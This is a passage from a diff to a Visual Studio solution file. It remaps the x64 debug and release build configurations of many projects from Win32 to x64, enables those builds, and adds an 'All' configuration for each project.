-		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|x64.ActiveCfg = Debug|Win32
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|x64.ActiveCfg = Debug|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Debug|x64.Build.0 = Debug|x64
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|Win32.ActiveCfg = Release|Win32
 		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|Win32.Build.0 = Release|Win32
-		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|x64.ActiveCfg = Release|Win32
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|x64.ActiveCfg = Release|x64
+		{4043FC6A-9A30-4577-8AD5-9B233C9575D8}.Release|x64.Build.0 = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.All|Win32.ActiveCfg = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.All|x64.ActiveCfg = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.All|x64.Build.0 = Release|x64
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|Win32.Build.0 = Debug|Win32
-		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|x64.ActiveCfg = Debug|Win32
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|x64.ActiveCfg = Debug|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Debug|x64.Build.0 = Debug|x64
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|Win32.ActiveCfg = Release|Win32
 		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|Win32.Build.0 = Release|Win32
-		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|x64.ActiveCfg = Release|Win32
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|x64.ActiveCfg = Release|x64
+		{71A967D5-0E99-4CEF-A587-98836EE6F2EF}.Release|x64.Build.0 = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.All|Win32.ActiveCfg = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.All|x64.ActiveCfg = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.All|x64.Build.0 = Release|x64
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|Win32.Build.0 = Debug|Win32
-		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|x64.ActiveCfg = Debug|Win32
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|x64.ActiveCfg = Debug|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Debug|x64.Build.0 = Debug|x64
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|Win32.ActiveCfg = Release|Win32
 		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|Win32.Build.0 = Release|Win32
-		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|x64.ActiveCfg = Release|Win32
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|x64.ActiveCfg = Release|x64
+		{0A6B5EA5-6E9B-4A51-931F-ED25AA87B4DF}.Release|x64.Build.0 = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.All|Win32.ActiveCfg = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.All|x64.ActiveCfg = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.All|x64.Build.0 = Release|x64
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|Win32.Build.0 = Debug|Win32
-		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|x64.ActiveCfg = Debug|Win32
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|x64.ActiveCfg = Debug|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Debug|x64.Build.0 = Debug|x64
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|Win32.ActiveCfg = Release|Win32
 		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|Win32.Build.0 = Release|Win32
-		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|x64.ActiveCfg = Release|Win32
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|x64.ActiveCfg = Release|x64
+		{AB91A099-7690-4ECF-8994-E458F4EA1ED4}.Release|x64.Build.0 = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.All|Win32.ActiveCfg = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.All|x64.ActiveCfg = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.All|x64.Build.0 = Release|x64
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|Win32.ActiveCfg = Debug|Win32
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|Win32.Build.0 = Debug|Win32
-		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|x64.ActiveCfg = Debug|Win32
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|x64.ActiveCfg = Debug|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Debug|x64.Build.0 = Debug|x64
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|Win32.ActiveCfg = Release|Win32
 		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|Win32.Build.0 = Release|Win32
-		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|x64.ActiveCfg = Release|Win32
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|x64.ActiveCfg = Release|x64
+		{988CACF7-3FCB-4992-BE69-77872AE67DC8}.Release|x64.Build.0 = Release|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.All|Win32.ActiveCfg = Release DirectSound|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.All|x64.ActiveCfg = Release DirectSound|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.All|x64.Build.0 = Release DirectSound|x64
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|Win32.Build.0 = Debug|Win32
-		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|x64.ActiveCfg = Debug|Win32
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|x64.ActiveCfg = Debug|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Debug|x64.Build.0 = Debug|x64
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|Win32.ActiveCfg = Release|Win32
 		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|Win32.Build.0 = Release|Win32
-		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|x64.ActiveCfg = Release|Win32
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|x64.ActiveCfg = Release|x64
+		{0A18A071-125E-442F-AFF7-A3F68ABECF99}.Release|x64.Build.0 = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.All|Win32.ActiveCfg = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.All|x64.ActiveCfg = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.All|x64.Build.0 = Release|x64
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|Win32.ActiveCfg = Debug|Win32
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|Win32.Build.0 = Debug|Win32
-		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|x64.ActiveCfg = Debug|Win32
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|x64.ActiveCfg = Debug|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Debug|x64.Build.0 = Debug|x64
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|Win32.ActiveCfg = Release|Win32
 		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|Win32.Build.0 = Release|Win32
-		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|x64.ActiveCfg = Release|Win32
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|x64.ActiveCfg = Release|x64
+		{08DAD348-9E0A-4A2E-97F1-F1E7E24A7836}.Release|x64.Build.0 = Release|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.All|Win32.ActiveCfg = Release Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.All|x64.ActiveCfg = Release Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.All|x64.Build.0 = Release Passthrough|x64
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|Win32.ActiveCfg = Debug Passthrough|Win32
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|Win32.Build.0 = Debug Passthrough|Win32
-		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|x64.ActiveCfg = Debug|Win32
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|x64.ActiveCfg = Debug Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Debug|x64.Build.0 = Debug Passthrough|x64
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|Win32.ActiveCfg = Release Passthrough|Win32
 		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|Win32.Build.0 = Release Passthrough|Win32
-		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|x64.ActiveCfg = Release|Win32
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|x64.ActiveCfg = Release Passthrough|x64
+		{8DEB383C-4091-4F42-A56F-C9E46D552D79}.Release|x64.Build.0 = Release Passthrough|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.All|Win32.ActiveCfg = Release|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.All|x64.ActiveCfg = Release|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.All|x64.Build.0 = Release|x64
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|Win32.Build.0 = Debug|Win32
-		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|x64.ActiveCfg = Debug|Win32
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|x64.ActiveCfg = Debug|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Debug|x64.Build.0 = Debug|x64
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|Win32.ActiveCfg = Release|Win32
 		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|Win32.Build.0 = Release|Win32
-		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|x64.ActiveCfg = Release|Win32
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|x64.ActiveCfg = Release|x64
+		{2C3C2423-234B-4772-8899-D3B137E5CA35}.Release|x64.Build.0 = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.All|Win32.ActiveCfg = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.All|x64.ActiveCfg = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.All|x64.Build.0 = Release|x64
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|Win32.Build.0 = Debug|Win32
-		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|x64.ActiveCfg = Debug|Win32
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|x64.ActiveCfg = Debug|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Debug|x64.Build.0 = Debug|x64
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|Win32.ActiveCfg = Release|Win32
 		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|Win32.Build.0 = Release|Win32
-		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|x64.ActiveCfg = Release|Win32
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|x64.ActiveCfg = Release|x64
+		{3850D93A-5F24-4922-BC1C-74D08C37C256}.Release|x64.Build.0 = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.All|Win32.ActiveCfg = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.All|x64.ActiveCfg = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.All|x64.Build.0 = Release|x64
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|Win32.Build.0 = Debug|Win32
-		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|x64.ActiveCfg = Debug|Win32
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|x64.ActiveCfg = Debug|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Debug|x64.Build.0 = Debug|x64
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|Win32.ActiveCfg = Release|Win32
 		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|Win32.Build.0 = Release|Win32
-		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|x64.ActiveCfg = Release|Win32
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|x64.ActiveCfg = Release|x64
+		{2CA40887-1622-46A1-A7F9-17FD7E7E545B}.Release|x64.Build.0 = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.All|Win32.ActiveCfg = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.All|x64.ActiveCfg = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.All|x64.Build.0 = Release|x64
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|Win32.ActiveCfg = Debug|Win32
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|Win32.Build.0 = Debug|Win32
-		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|x64.ActiveCfg = Debug|Win32
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|x64.ActiveCfg = Debug|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Debug|x64.Build.0 = Debug|x64
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|Win32.ActiveCfg = Release|Win32
 		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|Win32.Build.0 = Release|Win32
-		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|x64.ActiveCfg = Release|Win32
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|x64.ActiveCfg = Release|x64
+		{028C7278-05D7-4E18-82FE-BE231B844F41}.Release|x64.Build.0 = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.All|Win32.ActiveCfg = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.All|x64.ActiveCfg = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.All|x64.Build.0 = Release|x64
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|Win32.Build.0 = Debug|Win32
-		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|x64.ActiveCfg = Debug|Win32
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|x64.ActiveCfg = Debug|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Debug|x64.Build.0 = Debug|x64
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|Win32.ActiveCfg = Release|Win32
 		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|Win32.Build.0 = Release|Win32
-		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|x64.ActiveCfg = Release|Win32
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|x64.ActiveCfg = Release|x64
+		{D7F1E3F2-A3F4-474C-8555-15122571AF52}.Release|x64.Build.0 = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.All|Win32.ActiveCfg = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.All|x64.ActiveCfg = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.All|x64.Build.0 = Release|x64
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|Win32.Build.0 = Debug|Win32
-		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|x64.ActiveCfg = Debug|Win32
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|x64.ActiveCfg = Debug|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Debug|x64.Build.0 = Debug|x64
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|Win32.ActiveCfg = Release|Win32
 		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|Win32.Build.0 = Release|Win32
-		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|x64.ActiveCfg = Release|Win32
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|x64.ActiveCfg = Release|x64
+		{5BC072DB-3826-48EA-AF34-FE32AA01E83B}.Release|x64.Build.0 = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.All|Win32.ActiveCfg = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.All|x64.ActiveCfg = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.All|x64.Build.0 = Release|x64
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|Win32.Build.0 = Debug|Win32
-		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|x64.ActiveCfg = Debug|Win32
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|x64.ActiveCfg = Debug|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Debug|x64.Build.0 = Debug|x64
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|Win32.ActiveCfg = Release|Win32
 		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|Win32.Build.0 = Release|Win32
-		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|x64.ActiveCfg = Release|Win32
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|x64.ActiveCfg = Release|x64
+		{FA429E98-8B03-45E6-A096-A4BC5E821DE4}.Release|x64.Build.0 = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.All|Win32.ActiveCfg = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.All|x64.ActiveCfg = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.All|x64.Build.0 = Release|x64
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|Win32.ActiveCfg = Debug|Win32
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|Win32.Build.0 = Debug|Win32
-		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|x64.ActiveCfg = Debug|Win32
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|x64.ActiveCfg = Debug|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Debug|x64.Build.0 = Debug|x64
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|Win32.ActiveCfg = Release|Win32
 		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|Win32.Build.0 = Release|Win32
-		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|x64.ActiveCfg = Release|Win32
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|x64.ActiveCfg = Release|x64
+		{06E3A538-AB32-44F2-B477-755FF9CB5D37}.Release|x64.Build.0 = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.All|Win32.ActiveCfg = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.All|x64.ActiveCfg = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.All|x64.Build.0 = Release|x64
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|Win32.Build.0 = Debug|Win32
-		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|x64.ActiveCfg = Debug|Win32
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|x64.ActiveCfg = Debug|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Debug|x64.Build.0 = Debug|x64
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|Win32.ActiveCfg = Release|Win32
 		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|Win32.Build.0 = Release|Win32
-		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|x64.ActiveCfg = Release|Win32
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|x64.ActiveCfg = Release|x64
+		{6D1BEC70-4DCD-4FE9-ADBD-4A43A67E4D05}.Release|x64.Build.0 = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.All|Win32.ActiveCfg = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.All|x64.ActiveCfg = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.All|x64.Build.0 = Release|x64
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|Win32.ActiveCfg = Debug|Win32
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|Win32.Build.0 = Debug|Win32
-		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|x64.ActiveCfg = Debug|Win32
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|x64.ActiveCfg = Debug|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Debug|x64.Build.0 = Debug|x64
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|Win32.ActiveCfg = Release|Win32
 		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|Win32.Build.0 = Release|Win32
-		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|x64.ActiveCfg = Release|Win32
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|x64.ActiveCfg = Release|x64
+		{A4B122CF-5196-476B-8C0E-D8BD59AC3C14}.Release|x64.Build.0 = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.All|Win32.ActiveCfg = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.All|x64.ActiveCfg = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.All|x64.Build.0 = Release|x64
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|Win32.ActiveCfg = Debug|Win32
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|Win32.Build.0 = Debug|Win32
-		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|x64.ActiveCfg = Debug|Win32
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|x64.ActiveCfg = Debug|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Debug|x64.Build.0 = Debug|x64
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|Win32.ActiveCfg = Release|Win32
 		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|Win32.Build.0 = Release|Win32
-		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|x64.ActiveCfg = Release|Win32
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|x64.ActiveCfg = Release|x64
+		{75DF7F29-2FBF-47F7-B5AF-5B4952DC1ABD}.Release|x64.Build.0 = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.All|Win32.ActiveCfg = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.All|x64.ActiveCfg = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.All|x64.Build.0 = Release|x64
 		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|Win32.ActiveCfg = Debug|Win32
 		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|Win32.Build.0 = Debug|Win32
-		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|x64.ActiveCfg = Debug|Win32
+		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|x64.ActiveCfg = Debug|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.Debug|x64.Build.0 = Debug|x64
 		{F6A33240-8F29-48BD-98F0-826995911799}.Release|Win32.ActiveCfg = Release|Win32
 		{F6A33240-8F29-48BD-98F0-826995911799}.Release|Win32.Build.0 = Release|Win32
-		{F6A33240-8F29-48BD-98F0-826995911799}.Release|x64.ActiveCfg = Release|Win32
+		{F6A33240-8F29-48BD-98F0-826995911799}.Release|x64.ActiveCfg = Release|x64
+		{F6A33240-8F29-48BD-98F0-826995911799}.Release|x64.Build.0 = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.All|Win32.ActiveCfg = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.All|x64.ActiveCfg = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.All|x64.Build.0 = Release|x64
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|Win32.Build.0 = Debug|Win32
-		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|x64.ActiveCfg = Debug|Win32
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|x64.ActiveCfg = Debug|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Debug|x64.Build.0 = Debug|x64
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|Win32.ActiveCfg = Release|Win32
 		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|Win32.Build.0 = Release|Win32
-		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|x64.ActiveCfg = Release|Win32
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|x64.ActiveCfg = Release|x64
+		{65A6273D-FCAB-4C55-B09E-65100141A5D4}.Release|x64.Build.0 = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.All|Win32.ActiveCfg = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.All|x64.ActiveCfg = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.All|x64.Build.0 = Release|x64
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|Win32.Build.0 = Debug|Win32
-		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|x64.ActiveCfg = Debug|Win32
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|x64.ActiveCfg = Debug|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Debug|x64.Build.0 = Debug|x64
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|Win32.ActiveCfg = Release|Win32
 		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|Win32.Build.0 = Release|Win32
-		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|x64.ActiveCfg = Release|Win32
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|x64.ActiveCfg = Release|x64
+		{E7BC026C-7CC5-45A3-BC7C-3B88EEF01F24}.Release|x64.Build.0 = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.All|Win32.ActiveCfg = Release|x64
+		{D0BCAC02-D94B-46B8-9B49-CDDCC2BD7909}.All|x64.ActiveCfg = Release|x64
